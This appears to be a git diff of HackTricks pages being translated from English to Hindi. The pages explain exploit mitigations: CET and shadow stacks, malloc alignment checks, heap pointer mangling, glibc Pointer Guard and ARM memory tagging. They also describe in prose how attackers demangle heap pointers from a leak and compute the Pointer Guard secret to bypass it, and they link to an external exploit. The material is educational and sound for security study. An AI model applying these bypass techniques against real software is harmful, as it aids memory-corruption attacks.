Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit.
|
||||
[**इस लिंक**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) का पालन करते हुए आप एक कमजोर बाइनरी का उदाहरण देख सकते हैं और [**इसमें**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) एक्सप्लॉइट।
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -4,22 +4,22 @@
|
||||
|
||||
## Control Flow Enforcement Technology (CET)
|
||||
|
||||
**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action.
|
||||
**CET** एक सुरक्षा विशेषता है जो हार्डवेयर स्तर पर लागू की गई है, जिसका उद्देश्य **Return-Oriented Programming (ROP)** और **Jump-Oriented Programming (JOP)** जैसे सामान्य नियंत्रण-प्रवाह हाइजैकिंग हमलों को रोकना है। इस प्रकार के हमले एक प्रोग्राम के निष्पादन प्रवाह को हेरफेर करते हैं ताकि वे दुर्भावनापूर्ण कोड को निष्पादित कर सकें या benign कोड के टुकड़ों को इस तरह से जोड़ सकें कि एक दुर्भावनापूर्ण क्रिया की जा सके।
|
||||
|
||||
CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**.
|
||||
CET दो मुख्य विशेषताएँ प्रस्तुत करता है: **Indirect Branch Tracking (IBT)** और **Shadow Stack**।
|
||||
|
||||
- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations.
|
||||
- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow.
|
||||
- **IBT** यह सुनिश्चित करता है कि अप्रत्यक्ष कूद और कॉल वैध लक्ष्यों पर किए जाएं, जिन्हें अप्रत्यक्ष शाखाओं के लिए कानूनी गंतव्यों के रूप में स्पष्ट रूप से चिह्नित किया गया है। यह एक नए निर्देश सेट के उपयोग के माध्यम से प्राप्त किया जाता है जो वैध लक्ष्यों को चिह्नित करता है, इस प्रकार हमलावरों को नियंत्रण प्रवाह को मनमाने स्थानों पर मोड़ने से रोकता है।
|
||||
- **Shadow Stack** एक तंत्र है जो लौटने के पते के लिए अखंडता प्रदान करता है। यह नियमित कॉल स्टैक से अलग एक सुरक्षित, छिपी हुई प्रति रखता है। जब एक फ़ंक्शन लौटता है, तो लौटने के पते को शैडो स्टैक के खिलाफ मान्य किया जाता है, जिससे हमलावरों को स्टैक पर लौटने के पते को ओवरराइट करने से रोका जा सके।
|
||||
|
||||
## Shadow Stack
|
||||
|
||||
The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks.
|
||||
**shadow stack** एक **विशेष स्टैक है जिसका उपयोग केवल लौटने के पते को संग्रहीत करने के लिए किया जाता है**। यह नियमित स्टैक के साथ काम करता है लेकिन सामान्य प्रोग्राम निष्पादन से सुरक्षित और छिपा होता है, जिससे हमलावरों के लिए छेड़छाड़ करना कठिन हो जाता है। शैडो स्टैक का प्राथमिक लक्ष्य यह सुनिश्चित करना है कि पारंपरिक स्टैक पर लौटने के पते में कोई भी संशोधन उपयोग किए जाने से पहले पता लगाया जाए, प्रभावी रूप से ROP हमलों को कम करना।
|
||||
|
||||
## How CET and Shadow Stack Prevent Attacks
|
||||
|
||||
**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code.
|
||||
**ROP और JOP हमले** एक एप्लिकेशन के नियंत्रण प्रवाह को हाइजैक करने की क्षमता पर निर्भर करते हैं, जो उन्हें स्टैक पर पॉइंटर्स या लौटने के पते को ओवरराइट करने की अनुमति देने वाली कमजोरियों का लाभ उठाते हैं। मौजूदा कोड गैजेट्स या लौटने-उन्मुख प्रोग्रामिंग गैजेट्स के अनुक्रमों की ओर प्रवाह को निर्देशित करके, हमलावर मनमाने कोड को निष्पादित कर सकते हैं।
|
||||
|
||||
- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary.
|
||||
- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding.
|
||||
- **CET का IBT** फीचर इन हमलों को काफी कठिन बना देता है यह सुनिश्चित करके कि अप्रत्यक्ष शाखाएँ केवल उन पते पर कूद सकती हैं जिन्हें स्पष्ट रूप से वैध लक्ष्यों के रूप में चिह्नित किया गया है। इससे हमलावरों के लिए बाइनरी में फैले मनमाने गैजेट्स को निष्पादित करना असंभव हो जाता है।
|
||||
- दूसरी ओर, **shadow stack** यह सुनिश्चित करता है कि भले ही एक हमलावर सामान्य स्टैक पर लौटने के पते को ओवरराइट कर सके, **असमानता का पता लगाया जाएगा** जब फ़ंक्शन से लौटने पर दूषित पते की तुलना शैडो स्टैक में संग्रहीत सुरक्षित प्रति से की जाएगी। यदि पते मेल नहीं खाते हैं, तो प्रोग्राम समाप्त हो सकता है या अन्य सुरक्षा उपाय कर सकता है, जिससे हमले को सफल होने से रोका जा सके।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,77 +4,77 @@
|
||||
|
||||
## Chunk Alignment Enforcement
|
||||
|
||||
**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin.
|
||||
**Malloc** मेमोरी को **8-बाइट (32-बिट) या 16-बाइट (64-बिट) समूहों** में आवंटित करता है। इसका मतलब है कि 32-बिट सिस्टम में चंक्स का अंत **0x8** के साथ संरेखित होना चाहिए, और 64-बिट सिस्टम में **0x0** के साथ। सुरक्षा सुविधा यह सुनिश्चित करती है कि प्रत्येक चंक इन विशिष्ट स्थानों पर **सही ढंग से संरेखित** है, इससे पहले कि बिन से एक पॉइंटर का उपयोग किया जाए।
|
||||
|
||||
### Security Benefits
|
||||
|
||||
The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully.
|
||||
64-बिट सिस्टम में चंक संरेखण का प्रवर्तन Malloc की सुरक्षा को **हर 16 पते में केवल 1 नकली चंक्स के स्थान को सीमित करके** महत्वपूर्ण रूप से बढ़ाता है। यह शोषण प्रयासों को जटिल बनाता है, विशेष रूप से उन परिदृश्यों में जहां उपयोगकर्ता के पास इनपुट मानों पर सीमित नियंत्रण होता है, जिससे हमलों को अधिक जटिल और सफलतापूर्वक निष्पादित करना कठिन हो जाता है।
|
||||
|
||||
- **Fastbin Attack on \_\_malloc_hook**
|
||||
|
||||
The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security.
|
||||
Malloc में नए संरेखण नियम भी `__malloc_hook` से संबंधित एक क्लासिक हमले को विफल करते हैं। पहले, हमलावर चंक के आकार को **इस फ़ंक्शन पॉइंटर को ओवरराइट करने के लिए हेरफेर कर सकते थे** और **कोड निष्पादन** प्राप्त कर सकते थे। अब, सख्त संरेखण आवश्यकता सुनिश्चित करती है कि ऐसी हेरफेर अब संभव नहीं हैं, एक सामान्य शोषण मार्ग को बंद कर देती है और समग्र सुरक्षा को बढ़ाती है।
|
||||
|
||||
## Pointer Mangling on fastbins and tcache
|
||||
|
||||
**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**).
|
||||
**Pointer Mangling** एक सुरक्षा सुधार है जिसका उपयोग **फास्टबिन और टकैश Fd पॉइंटर्स** को मेमोरी प्रबंधन संचालन में सुरक्षित रखने के लिए किया जाता है। यह तकनीक कुछ प्रकार की मेमोरी शोषण रणनीतियों को रोकने में मदद करती है, विशेष रूप से उन जो लीक की गई मेमोरी जानकारी की आवश्यकता नहीं होती या जो ज्ञात स्थानों के सापेक्ष सीधे मेमोरी स्थानों में हेरफेर करती हैं (सापेक्ष **ओवरराइट** )।
|
||||
|
||||
The core of this technique is an obfuscation formula:
|
||||
इस तकनीक का मूल एक अस्पष्टता सूत्र है:
|
||||
|
||||
**`New_Ptr = (L >> 12) XOR P`**
|
||||
|
||||
- **L** is the **Storage Location** of the pointer.
|
||||
- **P** is the actual **fastbin/tcache Fd Pointer**.
|
||||
- **L** पॉइंटर का **स्टोरेज स्थान** है।
|
||||
- **P** वास्तविक **फास्टबिन/टकैश Fd पॉइंटर** है।
|
||||
|
||||
The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits.
|
||||
स्टोरेज स्थान (L) को 12 बिट्स दाईं ओर शिफ्ट करने का कारण महत्वपूर्ण है। यह हेरफेर मेमोरी पते के सबसे कम महत्वपूर्ण 12 बिट्स की पूर्वानुमानित प्रकृति में अंतर्निहित एक भेद्यता को संबोधित करता है, जो आमतौर पर सिस्टम आर्किटेक्चर की सीमाओं के कारण पूर्वानुमानित होते हैं। बिट्स को शिफ्ट करके, पूर्वानुमानित भाग समीकरण से बाहर हो जाता है, नए, मंगले हुए पॉइंटर की यादृता को बढ़ाता है और इस प्रकार इन बिट्स की पूर्वानुमानिता पर निर्भर शोषणों के खिलाफ सुरक्षा करता है।
|
||||
|
||||
This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process.
|
||||
यह मंगला हुआ पॉइंटर **एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** द्वारा प्रदान की गई मौजूदा यादृता का लाभ उठाता है, जो कार्यक्रमों द्वारा उपयोग किए जाने वाले पते को यादृता करता है ताकि हमलावरों के लिए किसी प्रक्रिया के मेमोरी लेआउट की भविष्यवाणी करना कठिन हो जाए।
|
||||
|
||||
**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers.
|
||||
**Demangling** पॉइंटर को मूल पते को पुनः प्राप्त करने के लिए उसी XOR ऑपरेशन का उपयोग करना शामिल है। यहाँ, मंगला हुआ पॉइंटर सूत्र में P के रूप में माना जाता है, और जब इसे अपरिवर्तित स्टोरेज स्थान (L) के साथ XOR किया जाता है, तो यह मूल पॉइंटर को प्रकट करता है। मंगलीकरण और डेमंगलीकरण में यह सममिति सुनिश्चित करती है कि सिस्टम बिना महत्वपूर्ण ओवरहेड के प्रभावी ढंग से पॉइंटर्स को एन्कोड और डिकोड कर सकता है, जबकि मेमोरी पॉइंटर्स में हेरफेर करने वाले हमलों के खिलाफ सुरक्षा को काफी बढ़ाता है।
|
||||
|
||||
### Security Benefits
|
||||
|
||||
Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways:
|
||||
Pointer mangling का उद्देश्य **हीप में आंशिक और पूर्ण पॉइंटर ओवरराइट्स को रोकना** है, जो सुरक्षा में एक महत्वपूर्ण सुधार है। यह सुविधा कई तरीकों से शोषण तकनीकों को प्रभावित करती है:
|
||||
|
||||
1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success.
|
||||
2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier.
|
||||
3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses.
|
||||
4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints.
|
||||
1. **Bye Byte सापेक्ष ओवरराइट्स की रोकथाम**: पहले, हमलावर एक पॉइंटर के भाग को बदल सकते थे ताकि **हीप चंक्स को विभिन्न स्थानों पर पुनर्निर्देशित किया जा सके बिना सटीक पते को जाने**, यह तकनीक लीकलेस **हाउस ऑफ रोमन** शोषण में स्पष्ट है। पॉइंटर मंग्लिंग के साथ, ऐसी सापेक्ष ओवरराइट्स **हीप लीक के बिना अब ब्रूट फोर्सिंग की आवश्यकता होती है**, जिससे उनकी सफलता की संभावना में भारी कमी आती है।
|
||||
2. **Tcache Bin/Fastbin हमलों की बढ़ती कठिनाई**: सामान्य हमले जो फ़ंक्शन पॉइंटर्स (जैसे `__malloc_hook`) को ओवरराइट करते हैं, फास्टबिन या टकैश प्रविष्टियों में हेरफेर करके बाधित होते हैं। उदाहरण के लिए, एक हमला एक LibC पते को लीक करने, एक चंक को टकैश बिन में मुक्त करने, और फिर Fd पॉइंटर को `__malloc_hook` पर पुनर्निर्देशित करने के लिए ओवरराइट करने में शामिल हो सकता है। पॉइंटर मंग्लिंग के साथ, इन पॉइंटर्स को सही ढंग से मंग्लित किया जाना चाहिए, **सटीक हेरफेर के लिए हीप लीक की आवश्यकता होती है**, जिससे शोषण की बाधा बढ़ जाती है।
|
||||
3. **गैर-हीप स्थानों में हीप लीक की आवश्यकता**: गैर-हीप क्षेत्रों (जैसे स्टैक, .bss सेक्शन, या PLT/GOT) में एक नकली चंक बनाना अब भी **हीप लीक की आवश्यकता होती है** क्योंकि पॉइंटर मंग्लिंग की आवश्यकता होती है। यह इन क्षेत्रों का शोषण करने की जटिलता को बढ़ाता है, LibC पते में हेरफेर करने की आवश्यकता के समान।
|
||||
4. **हीप पते लीक करना अधिक चुनौतीपूर्ण हो जाता है**: पॉइंटर मंग्लिंग फास्टबिन और टकैश बिन में Fd पॉइंटर्स के उपयोगिता को हीप पते लीक के स्रोत के रूप में सीमित करती है। हालाँकि, असंरचित, छोटे, और बड़े बिन में पॉइंटर्स बिना मंग्लित रहते हैं, इस प्रकार अभी भी पते लीक करने के लिए उपयोगी होते हैं। यह बदलाव हमलावरों को शोषण योग्य जानकारी के लिए इन बिनों का पता लगाने के लिए धकेलता है, हालाँकि कुछ तकनीकें अभी भी लीक से पहले पॉइंटर्स को डेमंग्लित करने की अनुमति दे सकती हैं, हालाँकि सीमाओं के साथ।
|
||||
|
||||
### **Demangling Pointers with a Heap Leak**
|
||||
|
||||
> [!CAUTION]
|
||||
> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088).
|
||||
> प्रक्रिया के बेहतर स्पष्टीकरण के लिए [**यहाँ से मूल पोस्ट देखें**](https://maxwelldulin.com/BlogPost?post=5445977088)।
|
||||
|
||||
### Algorithm Overview
|
||||
|
||||
The formula used for mangling and demangling pointers is: 
|
||||
पॉइंटर्स को मंग्लित और डेमंग्लित करने के लिए उपयोग किया जाने वाला सूत्र है: 
|
||||
|
||||
**`New_Ptr = (L >> 12) XOR P`**
|
||||
|
||||
Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves.
|
||||
जहाँ **L** स्टोरेज स्थान है और **P** Fd पॉइंटर है। जब **L** को 12 बिट्स दाईं ओर शिफ्ट किया जाता है, तो यह **P** के सबसे महत्वपूर्ण बिट्स को उजागर करता है, **XOR** की प्रकृति के कारण, जो तब 0 आउटपुट करता है जब बिट्स को स्वयं के साथ XOR किया जाता है।
|
||||
|
||||
**Key Steps in the Algorithm:**
|
||||
**Algorithm में मुख्य चरण:**
|
||||
|
||||
1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged.
|
||||
2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer.
|
||||
3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered.
|
||||
4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process.
|
||||
1. **सबसे महत्वपूर्ण बिट्स का प्रारंभिक लीक**: शिफ्टेड **L** को **P** के साथ XOR करके, आप प्रभावी रूप से **P** के शीर्ष 12 बिट्स प्राप्त करते हैं क्योंकि शिफ्टेड भाग **L** शून्य होगा, जिससे **P** के संबंधित बिट्स अपरिवर्तित रहेंगे।
|
||||
2. **पॉइंटर बिट्स की पुनर्प्राप्ति**: चूंकि XOR उलटा होता है, परिणाम और एक ऑपरेटर को जानने से आपको दूसरे ऑपरेटर की गणना करने की अनुमति मिलती है। इस गुण का उपयोग **P** के बिट्स के पूरे सेट को डेड्यूस करने के लिए किया जाता है, मंगले हुए पॉइंटर के भागों के साथ ज्ञात बिट्स के सेट को क्रमशः XOR करके।
|
||||
3. **आवर्ती डेमंग्लिंग**: यह प्रक्रिया दोहराई जाती है, प्रत्येक बार पिछले चरण से **P** के नए खोजे गए बिट्स का उपयोग करके मंगले हुए पॉइंटर के अगले खंड को डिकोड करने के लिए, जब तक सभी बिट्स पुनर्प्राप्त नहीं हो जाते।
|
||||
4. **निर्धारणात्मक बिट्स को संभालना**: **L** के अंतिम 12 बिट्स शिफ्ट के कारण खो जाते हैं, लेकिन वे निर्धारणात्मक होते हैं और प्रक्रिया के बाद पुनर्निर्माण किया जा सकता है।
|
||||
|
||||
You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
|
||||
आप इस एल्गोरिदम का कार्यान्वयन यहाँ पा सकते हैं: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
|
||||
|
||||
## Pointer Guard
|
||||
|
||||
Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers.
|
||||
Pointer guard एक शोषण शमन तकनीक है जिसका उपयोग glibc में संग्रहीत फ़ंक्शन पॉइंटर्स की सुरक्षा के लिए किया जाता है, विशेष रूप से उन फ़ंक्शन पॉइंटर्स की जो `atexit()` जैसे पुस्तकालय कॉल द्वारा पंजीकृत होते हैं। यह सुरक्षा पॉइंटर्स को एक गुप्त के साथ XOR करके और फिर बिटवाइज रोटेशन लागू करके स्क्रैम्बल करने में शामिल होती है। यह तंत्र हमलावरों को फ़ंक्शन पॉइंटर्स को ओवरराइट करके नियंत्रण प्रवाह को हाईजैक करने से रोकने का लक्ष्य रखता है।
|
||||
|
||||
### **Bypassing Pointer Guard with a leak**
|
||||
|
||||
1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`.
|
||||
2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling.
|
||||
3. **Exploiting Known Plaintexts:**
|
||||
- **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers.
|
||||
- **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function.
|
||||
4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps.
|
||||
5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations.
|
||||
1. **Pointer Guard संचालन को समझना:** पॉइंटर्स का स्क्रैम्बलिंग (मंग्लिंग) `PTR_MANGLE` मैक्रो का उपयोग करके किया जाता है जो पॉइंटर को 64-बिट गुप्त के साथ XOR करता है और फिर 0x11 बिट्स का बायां रोटेशन करता है। मूल पॉइंटर को पुनः प्राप्त करने के लिए उलटा संचालन `PTR_DEMANGLE` द्वारा संभाला जाता है।
|
||||
2. **हमला रणनीति:** यह हमला एक ज्ञात-प्लेनटेक्स्ट दृष्टिकोण पर आधारित है, जहाँ हमलावर को मंगले हुए पॉइंटर के मूल और मंगले हुए दोनों संस्करणों को जानने की आवश्यकता होती है ताकि मंग्लिंग के लिए उपयोग किए गए गुप्त को डेड्यूस किया जा सके।
|
||||
3. **ज्ञात प्लेनटेक्स्ट का शोषण:**
|
||||
- **स्थिर फ़ंक्शन पॉइंटर्स की पहचान करना:** glibc स्रोत कोड या प्रारंभिक फ़ंक्शन पॉइंटर तालिकाओं (जैसे `__libc_pthread_functions`) की जांच करके, एक हमलावर पूर्वानुमानित फ़ंक्शन पॉइंटर्स पा सकता है।
|
||||
- **गुप्त की गणना करना:** एक ज्ञात फ़ंक्शन पॉइंटर जैसे `__pthread_attr_destroy` और फ़ंक्शन पॉइंटर तालिका से इसके मंगले हुए संस्करण का उपयोग करके, गुप्त को मंगले हुए पॉइंटर को उलटा घुमाकर (दाईं ओर घुमाना) और फिर फ़ंक्शन के पते के साथ XOR करके गणना की जा सकती है।
|
||||
4. **वैकल्पिक प्लेनटेक्स्ट:** हमलावर ज्ञात मानों जैसे 0 या -1 के साथ पॉइंटर्स को मंग्लित करने का प्रयोग कर सकता है यह देखने के लिए कि क्या ये मेमोरी में पहचानने योग्य पैटर्न उत्पन्न करते हैं, संभावित रूप से जब ये पैटर्न मेमोरी डंप में पाए जाते हैं तो गुप्त को प्रकट करते हैं।
|
||||
5. **व्यावहारिक अनुप्रयोग:** गुप्त की गणना करने के बाद, एक हमलावर नियंत्रित तरीके से पॉइंटर्स में हेरफेर कर सकता है, मूल रूप से एक मल्टीथ्रेडेड एप्लिकेशन में Pointer Guard सुरक्षा को बायपास कर सकता है, जिसमें libc बेस पते का ज्ञान और मनमाने मेमोरी स्थानों को पढ़ने की क्षमता होती है।
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -1,54 +1,52 @@
|
||||
# Memory Tagging Extension (MTE)
|
||||
# मेमोरी टैगिंग एक्सटेंशन (MTE)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## बुनियादी जानकारी
|
||||
|
||||
**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code.
|
||||
**मेमोरी टैगिंग एक्सटेंशन (MTE)** को सॉफ़्टवेयर की विश्वसनीयता और सुरक्षा को बढ़ाने के लिए डिज़ाइन किया गया है, **मेमोरी से संबंधित त्रुटियों** का **पता लगाने और रोकने** के लिए, जैसे कि बफर ओवरफ्लो और उपयोग के बाद मुक्त होने वाली कमजोरियाँ। MTE, **ARM** आर्किटेक्चर का एक हिस्सा, प्रत्येक मेमोरी आवंटन के लिए एक **छोटा टैग संलग्न करने** और उस मेमोरी को संदर्भित करने वाले प्रत्येक पॉइंटर के लिए एक **संबंधित टैग** प्रदान करता है। यह दृष्टिकोण रनटाइम पर अवैध मेमोरी पहुंच का पता लगाने की अनुमति देता है, जिससे ऐसे कमजोरियों का शोषण करके मनमाने कोड को निष्पादित करने का जोखिम काफी कम हो जाता है।
|
||||
|
||||
### **How Memory Tagging Extension Works**
|
||||
### **मेमोरी टैगिंग एक्सटेंशन कैसे काम करता है**
|
||||
|
||||
MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size. 
|
||||
MTE **मेमोरी को छोटे, निश्चित आकार के ब्लॉकों में विभाजित करके काम करता है, प्रत्येक ब्लॉक को एक टैग सौंपा जाता है,** जो आमतौर पर कुछ बिट्स का आकार होता है। 
|
||||
|
||||
When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block.
|
||||
जब एक पॉइंटर उस मेमोरी की ओर इशारा करने के लिए बनाया जाता है, तो उसे वही टैग मिलता है। यह टैग **मेमोरी पॉइंटर के अप्रयुक्त बिट्स में** संग्रहीत होता है, प्रभावी रूप से पॉइंटर को उसके संबंधित मेमोरी ब्लॉक से जोड़ता है।
|
||||
|
||||
<figure><img src="../../images/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
|
||||
|
||||
When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.**
|
||||
जब एक प्रोग्राम पॉइंटर के माध्यम से मेमोरी तक पहुँचता है, तो MTE हार्डवेयर यह जांचता है कि **पॉइंटर का टैग मेमोरी ब्लॉक के टैग से मेल खाता है**। यदि टैग **मेल नहीं खाते**, तो यह एक **अवैध मेमोरी एक्सेस** को इंगित करता है।
|
||||
|
||||
### MTE Pointer Tags
|
||||
### MTE पॉइंटर टैग
|
||||
|
||||
Tags inside a pointer are stored in 4 bits inside the top byte:
|
||||
पॉइंटर के अंदर टैग 4 बिट्स में शीर्ष बाइट के अंदर संग्रहीत होते हैं:
|
||||
|
||||
<figure><img src="../../images/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
|
||||
|
||||
Therefore, this allows up to **16 different tag values**.
|
||||
इसलिए, यह **16 विभिन्न टैग मानों** की अनुमति देता है।
|
||||
|
||||
### MTE Memory Tags
|
||||
### MTE मेमोरी टैग
|
||||
|
||||
Every **16B of physical memory** have a corresponding **memory tag**.
|
||||
हर **16B भौतिक मेमोरी** का एक संबंधित **मेमोरी टैग** होता है।
|
||||
|
||||
The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM.
|
||||
|
||||
ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
|
||||
मेमोरी टैग को **समर्पित RAM क्षेत्र** में संग्रहीत किया जाता है (सामान्य उपयोग के लिए सुलभ नहीं)। हर 16B मेमोरी टैग के लिए 4 बिट्स टैग होने से RAM का 3% तक हो सकता है।
|
||||
|
||||
ARM इन टैग्स को समर्पित RAM मेमोरी में प्रबंधित करने के लिए निम्नलिखित निर्देश पेश करता है:
|
||||
```
|
||||
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
|
||||
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
|
||||
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
|
||||
...
|
||||
```
|
||||
|
||||
## Checking Modes
|
||||
|
||||
### Sync
|
||||
|
||||
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\
|
||||
This is the slowest and most secure.
|
||||
